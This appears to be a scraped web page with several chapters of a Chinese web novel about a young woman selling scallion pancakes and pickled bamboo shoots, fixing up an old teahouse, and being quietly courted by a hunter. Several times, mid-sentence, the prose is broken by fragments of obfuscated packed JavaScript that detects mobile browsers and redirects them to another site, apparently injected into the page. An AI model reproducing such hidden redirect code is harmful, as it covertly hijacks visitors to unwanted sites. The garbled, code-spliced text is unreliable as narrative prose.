“好吧。既然你都这么说了,那我就试试吧。”说完,狠狠咬下一大口饼。 徐安然让她吃的,不吃白不吃。 烧饼即使有些凉了,但依旧保持着外皮酥脆,肉馅儿不多,但有猪油的醇香和葱花的清香为伴,不显单一。肉沫里加了花椒,吃起来有些麻,但是越嚼越香,馅儿的味道调得刚刚好,不咸,手上这个烧饼,吃起来并不像她以往吃过的肉烧饼那样腻。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092710|195502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 而且,比葱花饼还要好吃。 “我是不是除了你和你娘之外,第一个吃到这个烧饼的人?” 徐安然点头:“是。” 听到这个答案,小柔居然有些暗爽。 “这个烧饼叫什么名字?” “如其名,葱花猪肉烧饼。” “倒还挺适合的。” 没等小柔再说些什么,院外便传来了一道高兴的声音。 “你们在吃什么呢?” 小柔转过头,发现是李家的两姐妹。她和两姐妹并不熟,平日里也只是打个照面的交情。 所以她们一定不是来找她的,唯一的可能就是来找徐安然。 “吃葱花猪肉烧饼,但是很可惜,我只带了四个。我和小柔一人两个分完咯。” “嘿嘿,你多虑了。”李秀莲扬了扬手上的饼。 小柔定睛一看,竟跟她手上的烧饼模样一样。 “你不是说,除了你和你娘之外,我是第一个吃到这个烧饼的人吗?” “确实是呀,她们现在不是还没吃吗。”徐安然不知小柔为什么要争这个,但她确实没说错。 “那倒是哦……” “你们去我家了。”徐安然看向两姐妹肯定地问。 “是呀,苏婶给了我俩一人一个肉饼,她说你在这边,我们就过来了。喂,自己收拾茶馆不叫我们帮忙啊,不讲义气。”李秀莲佯装生气道。 小柔:自己?那她是谁? “那你们就接替小柔继续接下来的活儿吧,饼可不能白吃。” “正有此意呢!”两姐妹异口同声回。 四位女孩在还未整理好的茶馆一起吃饼,说说笑笑。周时来到时,见到的就是这样一番景象。 他竟不知该走还是该留。 纠结期间,徐安然余光见到他了。 “周大哥!”徐安然招手跟他打招呼。 说实话,今天她一直等的就是周时,她们几个女孩再怎么收拾,那些繁重的木头怎么都不好搬,自从上次见到周时扛着两百斤猪不带喘时开始,她几乎确定,周时力气异于常人。 小柔知道周时会过来,她今天跟着徐安然过来很大一部分原因也是因为周时。 “周大哥。”小柔也站起来跟他打招呼。 周时朝徐安然点了点头,手中拿着工具走进院子。 “现在开始收拾?” 今日他山上又有了收获,将猎物处理好之后,紧赶慢赶过来,生怕徐安然等久了。 徐安然看着他额头上的汗,不紧不慢地回道:“不着急,你吃过午饭了吗?” “吃过了。” 其实并没有。 徐安然看穿了他的谎言,将手上的饼对半分,一半递给周时,“那你就吃一半好了。我今日刚做的葱花猪肉烧饼。” “不必,这是你的午饭。” “在这之前我已经吃过一个了。本来这个就是给你留的,你既然吃过了,那剩下的另一半就给小柔好了,她跟着我忙了一上午。” 周时这才想起来,小柔方才好像也跟他打了声招呼。 “谢谢。”小柔干巴巴地说,手很成熟地接过那半个烧饼。 昨日母亲特意带葱花饼回来给她和父亲尝,今日她也要带回去。连同手上的另一个烧饼一起给二老尝尝。感情上不得意就算了,不能让胃也受苦。 刚刚叫周时的时候,他一个眼神都没递给自己,满眼都是徐安然,就徐安然这个呆瓜,啥都看不出来。 她有些妒忌,但对徐安然又恨不起来。 十分矛盾。 可能是因为葱花饼吧,或者是葱花猪肉烧饼。 14. 第 14 章 小柔心中矛盾,索性离开了旧茶馆,眼不见为净。 眼下只剩下周时和李秀敏两姐妹。 两人平日里虽以绣花为主,但是打扫起卫生来也不输小柔。再有周时这个顶级劳动力的帮忙,短短半个时辰,院子干净了大半。 直到此刻,徐安然才抬脚走进茶馆内部。屋内结构很简单,明亮的大堂,能放下三张四人桌,两张双人桌,两扇窗户穿堂风。左侧是账柜,账柜旁有一道门通向厨房,就是泡茶的地方,只能容纳三个人,如此,便是茶馆内部的全部空间。 整个茶馆看下来,她最喜欢的就是院子左边的池塘,其余的都比较平常,还不如家里面积大。不过唯一庆幸的是,这间茶馆坐落在两条分叉路的中间,另一条路通向山顶的寺庙,刚刚她打扫的时候,偶尔能见到上山上香的百姓。 甚至还有百姓往茶馆内看,估计是好奇是怎样一家店。 这让徐安然看到了希望,至少不是一点客流量都没有,改日也需要找个时间去山顶的寺庙看看,香火不旺也是有原因的,她要了解了解。 毕竟寺庙的香火,也间接决定她之后的生意。 于此同时,在永和镇书院外,葛学义正站在书院门口,像个门神,盯着商贩们往来的路口。 其他商贩哪里见过这样一直站在门口注视的葛学义啊,以往他只会在午休时间即将结束才会出现。这令在外边摆摊的商贩们瑟瑟发抖。 葛学义才不管他们是什么想法,即使徐安然说过今天不会来摆摊,但时间没过他就还抱着侥幸心理。 昨日的酸笋实在太好吃了,特别是他按照徐安然所说,用来跟猪肉一起下锅,随便加了点调味,就将猪肉的腥味盖走了大半,那是他第一次吃过这么好吃的猪肉。一吃就停不下来了,他家中还有妻女,口味如出一辙,所以如今家中的酸笋所剩无几。 撑不过今晚。 徐安然果真言出法随,说不来就不来。 书院里等着她的不止她一个人,还有其他几位学生,包括李彦宇,昨日的葱花饼被抢了,他今日想多买些带在身上,散学后带回家给家里人也品尝品尝。 以及平日从来不在这个时间走出书院的苏在,此刻都在书院之外。他也不知道自己为什么要跟着学生们站在这里,或许也是因为葱花饼。 或许是想看看,到底何人能有这样的创意,见白面做得那样好吃。 五天时间过得很快,特别是这两天徐安然睁眼就来茶馆,傍晚才回家。 而周时和李家两姐妹也一直跟着她在打扫茶馆,现在的茶馆已经焕然一新了,至少不是一开始见到的那样无处可站。就连苏清都没想到,她们能在这么短的时间将茶馆收拾出来。 而这一切最大的功臣就是周时。 村子不大,很快,周时每天去茶馆帮徐安然打扫的事情就传到了每家每户,并且成为大家饭桌上的八卦话题。 徐安然并不知道这件事,还是苏清在今日的饭桌上无意间提到的,而她正准备着明日去镇上摆摊的事情,没将此事放在心上。 苏清见她没这方面的想法,思来想去还是提醒了一嘴:“既然你对周家小子那方面的意思,往后还是少拜托人家,村里的人闲言碎语的,娘怕你听着不舒服。” “谁说我对他没意思?”徐安然收拾碗筷的手一顿,狡黠道,“娘,你别老往情情爱爱那方面去想呀,我想跟周大哥搞好关系的原因是,他可以带我上山,也是村里唯一一个有能力带我上山的人,我以后想让他到店里工作,所以大家说什么都可以,我心中并不在意,因为这不影响到我赚钱。” 与其以后才被大家闲言碎语,不如趁现在一起说完了,时间长了,疲惫了,说的人就少了。 周时这边,倒是急得团团转,村里的人话不知徐安然听去多少,如果徐安然为了避嫌,不再需要他帮忙,那他岂不是没了机会? “不行!” 他猛地从椅子上站了起来。 “你干什么呢?吓我一跳。” 身旁的李四被他这一动作吓得手里的话本子都掉了。 仔细看书名,竟是讲男女情爱的。 “四叔,这话本不是给我看的吗,怎么现在都是你在看。”周时连满转移话题道。 李四言出必行,他还真将妻子珍藏的几本话本子都偷出来了,但看的人不是他,而是他四叔。 两人不愧是夫妻,就连爱好都一模一样。 “我这不是不敢当着你高婶的面儿看嘛,有损我威猛男子汉的形象,四叔年轻的时候比你还要爷们儿。” “那你就不怕在我面前看有损你威猛的形象?” “四叔跟你亦父亦兄,都哥们儿,不搞那些子虚乌有。” 有时候周时觉得自己才更像长辈,因为李四平日里还没有他沉稳。 只见他这会儿还在蜡烛旁津津有味地看,手边一壶热茶,翘着二郎腿,偶尔抖抖腿,十分惬意。 估计,今晚四叔又要在他这儿过夜了。 也罢,反正也不是第一次了。 明日是徐安然去镇上的日子,如今她的腿好得差不多了,就是不知道明日需不需要他帮忙。 “四叔,明日你去镇上,多帮帮徐安然。将牛车放在城外吧,丢不了。” “你小子,要真丢了你赔啊?” “可以。” 李四没想到周时真敢答应,还是不够了解自己这个大侄子。 不过,周时要是不出,怎么表现自己? “你要不放心,也跟着去啊,前两日你不是打了两只雉鸡,一并带去镇上卖呗。” “会不会太刻意了?才两只。” “谁管你几只。”李四一脸恨铁不成钢,“你不是喜欢人家吗?你啥都不做才是傻子,人家姑娘也没婚配,你怕什么?而且那丫头模样水灵,独自一人在书院门口摆摊,里头那么多男人,一个个比你都白净,还比你有学问。你要是不抓紧,被人抢了先……” 周时光是想到这个结果就受不了,他连忙抬手制止李四,义正言辞道:“四叔,我去,您不许说了。” “这就受不了了,你这闷葫芦,再不有所表示,等这丫头生意做起来,追求者多了,你就在后边排队去吧你。排队了也轮不上你,除了一身力气啥也没有,我要是人家姑娘,都不带看你一眼的。要真成了,你都是高攀了。”话里话外,都是对周时的嫌弃。 四叔以前不这样的……周时委屈地想。 李四看人很准,徐安然绝对不是等闲之辈。他这么说,也是希望周时能得偿所愿,但最主要的是人家姑娘怎么看,要是人家姑娘不喜欢周时,他再怎么出主意都没有用。 徐安然不知道周时也在打自己的主意,而且想法跟她截然相反,此刻的她还在准备明日要摆摊的食材。 新鲜的饼一定是要现做的。所以当晚她只是将面团准备好便回房休息了,直到第二天,院子老母鸡准时鸣奏。 书院的学生到午时后才能出来,她其实并不着急。 这几天母鸡吃得太好了,所以每天醒来得比她还要早,叫声不是为了提醒她时间快来不及了,而是为自己的早餐。 “连母鸡都成了精。” 苏清也早就醒了,她此刻正在厨房里,看着徐安然昨晚准备好的食材,虽然她不会做,但还是想看看有没有她能帮得上忙的地方。 但是一圈看下来,着实没什么地方可以下手,唯一能帮忙的,就只有烧火了。 于是来到院子,开始料 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092711|195502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 理起院子内的植物和动物们。 徐安然早将兔子不吃的叶子,全部剁碎,混合未碾碎的谷物一起,加水搅拌,就成了鸡饲料,没做一次可以保存两天。谷物就是她们吃的,但好在家里只有一只母鸡,吃得不多,所以还喂得起。 喂了鸡,添了水,再将绿叶子菜洗干净放在兔子窝里,最后挑着水将菜地浇了边。 徐安然起来后,见到的就是苏清在弯腰浇菜的场景。她心中一暖,轻唤了声“娘”。 ”怎的起这么早?” 天还没亮,确实很早。 “这只鸡把我吵醒了。”徐安然抬手指向此刻正在啄米的鸡。显然,它吃嗨了,一个眼神都没给到她。 “算了,早点起来将饼做好,省得李四叔还要等我。” 村里的牛车就跟现代的公交一样,有固定的出发时间,和回来时间,搭载的都是村里人,邻里邻外的都很熟悉,所以只要有需求,李四都会等上一会儿。但徐安然不想做那个被等的人。 今天她要将家里身下的三坛酸笋都带去卖了,再加上五十个葱花饼。酸笋短时间内不会再做,虽然没什么成本,但是赚的不多,而且还重,七天才能卖一次,时间太长。她打算改做葱花猪肉烧饼,书院的学生购买力都挺强的。如今旧茶馆同步收拾中,她也希望能尽快重新营业。 今日她将周时给的三百文都给带上了,全部用来买肉。 她的腿恢复得差不多了,可以离了拐杖。本以为周时不会再坐牛车去镇上,所以当她见到他在驾车时,面上有些惊讶。 “我还以为你今日不去镇上呢。”她笑着说。 今天的周时话更少了。 但还是会下车帮她将两坛酸笋搬到牛车上。 回答她的话时,也用点头摇头代替。 好像在刻意避嫌。 虽然少了,但是活儿一点没少干。所以徐安然并不觉得有任何不对劲儿。 倒是李四,实在没眼看。周时这样子,明显是害羞了。 今日张桂梅没有去镇上,只有李秀敏两姐妹,李四在村口等了会儿,也没等到其他要去镇上的人,便让周时驾着牛车出发了。 周时作为今天的赶车人,李四坐在徐安然对面,难得享受了一把被人拉着走的感觉。 “我这侄子啊,要是每次都能帮我赶车的话,就好咯~”侄子不说话,他说/。 他话里有话,周时和姐妹俩都听出来了,只有徐安然被蒙在鼓里。 “四叔,周大哥平日打猎也挺累的。”这话是在解释,因为她不止一次跟周时一起上山了,见过他打猎时候的样子。 只是没想到,三人好像误会了她的话,捂着嘴偷笑,就连周时的耳根都不自觉红了。她不明所以,索性视线看着前方。 她本以为这次去书院附近摆摊,还是和前几天一样的情况,殊不知此刻,书院外已经站了好几位学生。 他们都在看着同一个方向,就是商贩往来的方向。 “怎么还没来?不是说午时一刻就在门口摆摊了吗?” “老师,学生不敢撒谎,那日确实午时一刻,老板就在这边了,今日估计是有事耽误了。老师,咱们再耐心等等。”那日,第一位买了葱花饼的刘举说道。他身旁一开始质问的人便是苏在。 书院里的学生也分有三六九,不看家境,只看成绩。 刘举作为一名成绩倒数的学渣,没想到有一天能和书院最厉害的老师说上话。这一切的功臣,全都归于葱花饼。 书院外摆摊的商贩越来越多,学生也越来越多,但是他们都不为所动,倒是平日里生意最差的粥铺的老板,迎来了他的红火时刻。直到徐安然的身影缓缓出现在大家的视线中……连同酸笋独有的香气。 15. 第 15 章 徐安然到了之后,大家的眼睛肉眼可见地都亮了。 特别是葛学义,抬脚走下楼梯,直奔她,眼睛直勾勾地盯着她手里的陶罐,那就是用来装酸笋的罐子,他断定。 “嘿嘿,姑娘,你终于来啦。”葛学义满脸堆笑。 其他学生和常来这边的商贩哪里见过葛学义这样谄媚,对象还是一个后生。 葛学义心中却不觉得有什么,他这个年纪,能遇到一个真正喜欢的美食不容易。所以今日的他一改往日的性格,对徐安然十分友好。连带着今日周围的商贩。 “原来夫子是个吃货来着,我以前怎么没发现呢?这样我就能少挨几顿夫子的骂了。” “兄弟,你想多了,夫子是什么样的人?县令都是夫子的学生,他什么样的美食没吃过?只有新鲜没见过的美食才能俘获夫子的心,永和镇这点地方,街坊邻居都认识,除了徐老板会做新奇的美食,还有谁?” “兄弟,我觉得你说得很有道理,那我是省了这个心思吧。” “对嘛,将这心思多花在排队买葱花饼上吧,别今天还是吃不到。” 葛学义一心只有酸笋,即使听到了学生们在议论他,也并不放在心里。 他是第一个顾客,其他学生也不敢让他排在自己后面,眼神都能给他们盯出几个洞。 “今日有试吃嘛?小老板。”他问。 徐安然瞧着他手里拿着一个小食盒,盲猜是白粥。 “我这刚买的白粥,就等着你的酸笋呢。” 在他说话的同时,徐安然将带来的桌子摆好,再铺上桌布,这才将带来的食物一并放在小桌上。 一切准备就绪,才回答葛学义的问题,“今日没有试吃了,家里柴火不够呀。” 葛学义有些失望,但很快又说:“那先给我来五斤,快一些。”眼下时间还早,带回家煮,赶在下午上课的时辰回来,还来得及。 眼下他的脑子里全是酸笋,已然将所有的事情都抛诸脑后了,连带着自己学生午时要来书院看他这件事。 这位学生很特殊,他是永和镇的县令,平日喜欢在学生午休的时候,到书院和葛学义一起喝茶,顺便抒发一些当县令的不易。 对穆鸿轩来说,老师葛学义就是他最信任的人,所以什么心里话都愿意跟他说。 但是今日到书院之后,却找不到葛学义的人,无奈,只能到家中寻他。 这一寻可不得了。 他发现一向不喜欢下厨的葛学义今日居然在自己家厨房待着。 “老师,您曾说,君子远庖厨。可是您今天……这还是学生第一次见到你出现在厨房,并且是以一位掌厨人的身份。” 葛学义这才想起来,爱徒跟他约了今日午时喝茶。他将这事儿忘了,并且忘得干净。倒也不是心中对爱徒愧疚,而是,他怕自己的酸笋会被爱徒盯上。 且不说这是一道新鲜的美食,他的爱徒口味还十分猎奇。 可他越想捂什么,便越捂不住。 “您在做什么好吃的呢?”即使葛学义看起来十分谨慎,怕被他发现的样子,但穆鸿轩就像是没看到一样,紧紧追问。 穆鸿轩觉得能让他老师这么反常的,一定是非常好吃的食物。所以今日的他一定要一探究竟,不能让他此行白来。 “你去去去,今日我没空跟你喝茶,快走吧,回去路上买几根糖葫芦吃吃得了。”说完,从怀里掏出几个铜板,像打发家里小孩一样打发穆鸿轩。 老吃家哪里会这么容易离开,葛学义心中清楚这一点儿。 只觉得答应今日跟穆鸿轩一起喝茶这个决定,太过草率。 “我不走。我怎么能让老师一个人在厨房忙着呢,这也太不是人了。”说完,又朝葛学义凑近了一步,头朝着香味的来源探。这是很特殊的气味,很奇怪,他竟闻不出是什么食物。 这更令他感到好奇了,直觉认为,老师这么护着的一样食物,一定很好吃。 “你盯着我的食物这才不是人吧?” “老师,这股酸酸的,又有些臭臭的气味,就是您做的东西?” 此刻,葛学义终于想到一件事。 “不对啊,你不是从书院来找我的吗?难道没看见这玩意儿?” “什么玩意儿?” “酸笋啊。” “原来这东西叫做酸笋呀。” 葛学义意识到自己被套话了。 “我确实见到一位姑娘的摊位前人很多,但是东西基本都卖完了,我这才来找你的呀。” 言外之意,如果买到好吃的了,是不会到这儿找他的。 “呵。我这不需要帮忙。”说完,从钱袋子里拿出几个铜板,递给他,像家长打发小孩那样,“你还是带着这几个铜板,在回去的路上买几串糖葫芦吃吧,不让你白来一趟。” “老师~您真见外,学生真心想帮您~只要您愿意让我也试试这酸笋的味道就好咯。” 葛学义很想拒绝,奈何这位爱徒实在厚脸皮。 如此,索性直接让穆鸿轩接手接下来的活儿。 “烧柴,烧水,等水开。”他在一旁吩咐。 穆鸿轩爱吃,自然厨艺也不错。 所以这些活儿他手拿把掐。 有了这么一位帮厨在身边,葛学义倒是省了很多时间,很快,他们俩人便面对面坐在餐桌上,对着一盘新鲜出炉的酸笋,还冒着热气。 “师母和小静呢?” “今早回娘家了,傍晚回来。” “那是不是现在就可以吃了?” 在煮这酸笋的时候,他就已经馋得不行了,酸笋的酸味,光是闻着都令人食欲大开。就是只有酸笋,太朴素了些。 直到他见到葛学义又从食盒里拿出一个金黄的饼,饼皮还点缀着些绿色的葱花。 食盒盖得太严实,并且酸笋的味道太大,他居然没闻见那股葱香味。 很多人不了解,但作为爱吃的穆鸿轩,深知葱花是提升一道菜味道的关键,而他却从未将它和面粉联想到一起过。 葛学义一口葱花饼,一口粥,再夹上一块酸笋,吃得津津有味。 穆鸿轩看得直咽口水。 但要虎口夺食,属实不易,为了避免连酸笋都吃不到,他决定等待。 “老师,你这饼在哪儿买的呀?”等回去路上他再去买,兜里还有老师给的铜板呢。 这次葛学义留了个心眼。如果他这时候说是同一个人卖的,那么穆鸿轩一定知道今天吃不到了,不排除会盯上他剩下两个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092712|195502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 葱花饼的可能。 “先吃,等你回去了再告诉你,不然这会儿你出去买,回来这酸笋可就没了。” 果不其然,只见穆鸿轩连忙夹了一筷子酸笋到碗里,然后迫不及待送入口中。 虽然只有白粥,但是酸笋的味道很重,咬下一小口,酸味直直冲入喉咙,还带有些咸。 难怪在煮的时候,老师不让他加盐。原来已经自带味道了。 笋他不是没吃过,这个季节正是笋最嫩最新的时候,但是直接炒着吃或者搭配肉类一起,难免会有些涩口,他一直找不到笋做得好吃的方法,永和镇最大的酒楼里,最好的厨子也找不到。 不曾想居然被一个普通百姓发明出来了,并且做法十分简单。或许还有些他不知道的其他配料,但目前能看到的,就只有笋。 这样的做法,不仅将笋的新鲜脆感保存了下来,并且更酸了,更咸了,闻着还有些臭。 葛学义才不搭理对面学生变幻莫测的表情,只见他走到厨房,拿出一碗红彤彤的辣椒。这是他在酒楼买回来的现成的辣酱,本意是炒菜的时候加一些提升口感,但是今日徐安然说了酸笋的另一种蘸辣椒的吃法。 说是又辣又酸,口感更丰富。 果不其然,蘸了辣椒酱的酸笋,更好吃了。 “老师,给我也来点儿。” “自己去厨房拿。” 葛学义的语气算不上好。 穆鸿轩却一点儿也不生气,因为老师没把他赶出去都已经算好的。 “哦。”他老实地回。 进老师家的厨房,跟进自己家一样自然,不难看出他常来。 很快,他端着一碗跟葛学义一样分量的辣椒出现。然后学者葛学义的样子,蘸上,紧接着缓缓送入口中。 “嗯~”他发满足地感叹,“蘸上辣椒之后,味道更是妙啊。” 很快,师生俩就将桌上一盘满满的酸笋吃完了,外加两碗份量很足的白粥。葛学义还多吃了一个葱花饼。 吃饱喝足,穆鸿轩依旧没忘记葱花饼的事情。 今日的茶是喝不成了,因为他要赶着去买葱花饼,为了这个饼,他甚至还留了点肚子。 他站在门口,期待葛学义的回答。 可是…… “葱花饼也是在书院买的,嘿嘿,现在人家说不定都离开了,下次再来,就得是三天后咯。”说完,葛学义“嘭”地一声关上门。 留下风中凌乱的穆鸿轩。 他无奈地叹了口气,老师年纪比他大很多,性子却比他更像个小孩。 “老师……您何必呢,让我期待了这么长时间。” 他是在报复一开始套话的仇,他们师生之间经常这样,但是今天的他有些伤心,和后悔。 伤心吃不到葱花饼。 后悔没有尝试虎口夺食。 他连忙朝书院方向赶,试图赶上最后一个葱花饼。 但人早已离开,只剩下零星几个商贩,目前正收拾东西,正准备离开中。 没了葛学义出来催促,商贩们今天动作慢了很多,但并没有破坏规矩,在书院规定的时间内,离开了摆摊之地。 与此同时,被穆鸿轩惦记的商贩徐安然,此刻正跟周时走在东街的街道上。 16. 第 16 章 葛学义回到书院时,碰巧穆鸿轩还没离开。 “你怎么还没走?”葛学义颇有些幸灾乐祸地说,“执念还挺深。” “老师,您为什么要骗我?咱们之间的师生情谊呢?” “当然是怕你跟我抢吃的了。我自己都不够吃呢,今天没把你赶出去,已经足够念及师生情谊了。若换做别的学生,想觊觎我的酸笋,而话不说我就把他赶出门。” “您真的太令我伤心了。” 穆鸿轩旁若无人地控诉,此刻的他,哪里还有平日威严县令的模样,正拉着葛学义的手臂撒娇呢。反正在别人看来是这样。 “老师,我不是您的爱徒了?” “只要不跟我抢吃的,你就一直都是我的爱徒。” 他松开葛学义的胳膊,嘟哝道:“那不太行。您还是早做好准备吧,可能下次我就要虎口夺食了。” 葛学义被气笑了,在书院中,追着穆鸿轩打,书院其他人对此已经见怪不怪了,只当做没看见,也不会讲这事当做笑话到处讲。 - 一晃到了下午,徐安然滴米未沾。 周时好像知道似的,带她来到东街一家热闹的酒楼,也是整个永和镇最大的酒楼,聚福楼。 来这儿,不仅是为了吃饭,也是想顺便将手里的两只雏鸡卖掉。 知道周时要请她吃饭,也不矫情,跟着他进了店。 她点了聚福楼最热门的两道菜。先从做得优秀的同行研究起。 聚福楼最热门的两道菜,也是最平价的两道菜,很多百姓都能消费得起。 所以即使过了饭点,这里依旧门庭若市。 两人还是等了会儿,才等到一个二人位置。 周时是这里的常客,因为他常将猎物卖给这家酒楼的掌柜,由于价格合适,他们一直保持着合作。也正是因为他的关系,没等多久菜就上齐了。 掌柜笑脸盈盈地,亲自上菜。 在见到徐安然时,眼里闪过一丝诧异,但很快便收起来了。 “周老弟,今日又打了什么新鲜东西来?” 周时平日七天来一次,可这才不到五天,他又来了,并且还跟着一位女子,掌柜心中猜测,可能是好事将近,又或者正主动追求。 但这些话他不会说出来,省得女子害羞。 徐安然才不懂掌柜心里的想法,她除了看菜系之外,还看酒楼的布局。 这聚福楼能成为永和镇最大的酒楼,实力真不是盖的,目前她所见到的,有机灵的伙计、热情的跑堂以及有眼力见的掌柜。 酒楼的位置分布也处在东街人来人往的密集之地,光是经过的百姓,见到里头这么热闹,都会忍不住停下来伫足看一会儿的,知名度就这样打出去了。 再加上合理的定价,便宜的菜系和昂贵的菜系都有,包容万象,消费不高也能被热情对待,更得百姓的心。 这样一套经营模式,她十分熟悉,跟现代时她经营的那几家连锁餐馆一样的套路。 主走平价路。 相较于家里的旧茶馆,除了不用交租金之外,天时地利一样都不占。 更别提,聚福楼最热门平价的菜,味道还不错。 一道烤鸭子,五张蒸饼。除了味道有些淡之外,完全挑不出缺点。 饭桌上,周时没吃几口,全部留给徐安然,这让她很不好意思,毕竟饭是他请的,他还一口不吃。 “你吃呀?” 看着徐安然像个小仓鼠一样,脸颊两边鼓囊囊,努力吞咽的样子,周时低头轻笑。 “你笑什么?”她反手摸了摸自己的脸和嘴角,“我脸上沾米饭了?” “没有。”周时心中懊恼,居然情不自禁将内心的想法显露出来了。 “那你笑什么?”徐安然追问,“不吃饭在那里傻笑,你不饿吗?这家店的饭菜还挺好吃的。” “不饿,你吃就好,吃不完的话,可以让伙计帮忙打包带回家。” 上菜前,周时很贴心地让伙计将烤鸭子分了两碟,他们吃的是其中一碟,还有一碟没动过,带回去热一热就能吃。 “你带回去吧,正好你都没吃几口。”不知道是害羞还是什么。跟她还见外。 “你带回去,给苏婶。” 今日徐安然出来摆摊,应付了那么多书院的学生,跟有甚者在徐安然卖完手里的食物后还有追着她出来问下次何时再来的人。她一定很累了,周时不想让她回去之后还要再给家里人下厨。 她做饭这么好吃,一定是常年下厨练出来的。 徐安然哪懂周时这些想法,心中只有对那半只烤鸭子的渴望。她眼神试探地看向周时,“那,我可就不客气啦?” 虽然不知道周时为什么就对她这么好,但是她能感受到周时对自己并没有什么企图。而且,她也并不讨厌周时。 而且这样一来一往的,等她的店开起来后,再邀请周时到店里工作,他大概率就不会拒绝了。 勤快的跑堂,攻略进度百分之五十~。 徐安然心中美滋滋地想。 两人两道菜,不急不缓地,也吃了好一会儿时间,期间徐安然一直在观察聚福楼的客流量情况。并暗自记下聚福楼每一道菜的定价,心中做着盘算。 周时则趁徐安然观察的间隙,来到后厨,将打猎到的两只雏鸡交给聚福楼的厨子。 山里的雏鸡,腿部肌肉很发达,而且吃的都是自然的馈赠,所以格外健壮,虽只有两只,但也卖了个好价钱。 掌柜更是笑嘻嘻地。 “老弟,以后再有这样的雏鸡,可一定要带来哦。” “行。” 周时回得爽快。 这次没做过多的寒暄,因为徐安然还在饭桌上等着他。 聚福楼掌柜看着周时着急离开的模样,缓缓摇头。 “看来,他成不了我女婿咯。”说完,转身走进厨房,吩咐厨师将两只鸡处理干净。 周时回来后,徐安然恰好也吃得差不多了。两人一同出了饭馆。 她拿着打包好的烤鸭子,周时帮她背着背篓,并排走在街道上。 身旁是不是有目光看向两人,徐安然觉得目光不是在看自己,而是在看身旁的周时。 “你平时自己一个人出来的时候,也有这么多人看你吗?”她没忍住问。 周时不明所以地摇了摇头。 “我那日跟李家两姐妹一起逛街的时候,也没那么多人看我们呀。”她嘟囔道。 周时不再说话了,场面一度很尴尬。 徐安然轻咳了一声,视线四处看,也不再说话了。 本以为这段很快就过去了,但不曾想却被一位妇人拦了下来。 于是,她总算明白了缘由。 “小娘子,你跟你郎君好生般配,祝你们百年好合,我亲自绣的鸳鸯荷包,买两呗,您和您夫君一人一个。” 一个背着孩子的妇女拦住了徐安然的去路,热情地介绍篮子里的荷包。 徐安然看看周四,又看看对面的妇女。 无奈摇了摇头:“大姐,您误会了。” “哎,你们不是夫妻?”大姐轻拍自己的嘴角,“瞧我这张嘴啊,说习惯了,二位看着像新欢夫妻。原来不是呀,我的错,我的错。” “没事。”周时说话了。 “那这荷包?”大姐心中只有对成单的渴望。 “拿两个吧。”周时又说。他喜欢这位大姐刚才说的话,所以愿意照顾她的生意,并且一个女人带着孩子也不容易,恰好,他也正需要一个荷包。 荷包也分男女款,周时将男款收起来了,女款递给徐安然。 ?? 她疑惑地看着周时。这什么意思? “我看大姐一个人做生意还要带着孩子不容易……” “那你这给我……不太合适吧?”太暧昧了吧? “索性我身边也没其他女孩子了,你就拿着吧,今日摆摊时也没见你有个像样的荷包装银子,荷包要好,银子才能源源不断。” “额……”她能说没有是因为没必要吗,毕竟以前她们家的钱根本不需要用到一个荷包来装。 “不过这哪里的说法,我怎么没听说过?” “咳咳。”周时故意不看徐安然,低着头往前走,“我四叔说的。” 徐安然看着他的背影,没琢磨出什么不对劲。看来有点暧昧这件事只是她自己这么觉得了。 她小跑追上,边说:“那好吧,我就收下了。” 粉色的荷包,上头绣着两只鸳鸯,小巧劲儿十分生动。谁收到礼物不开心呢,徐安然立即用上,将今日摆摊的钱全部装入荷包中。 装了小半袋,下次摆摊的目标是装满它! 周时一直在悄悄观察徐安然,见她这么开心,心中也跟着乐。 看来四叔说得没错,送钱送、礼物、请吃饭,果真能让女孩子开心。 接下来,徐安然又带着周时去了一趟菜市。还去之前交易过的商贩那儿。 她这个年纪来菜市买肉,并且杀价非常狠的年轻人不多,所以虽然只来了一次,但肉商老板还是一眼就认出了她。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092713|195502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 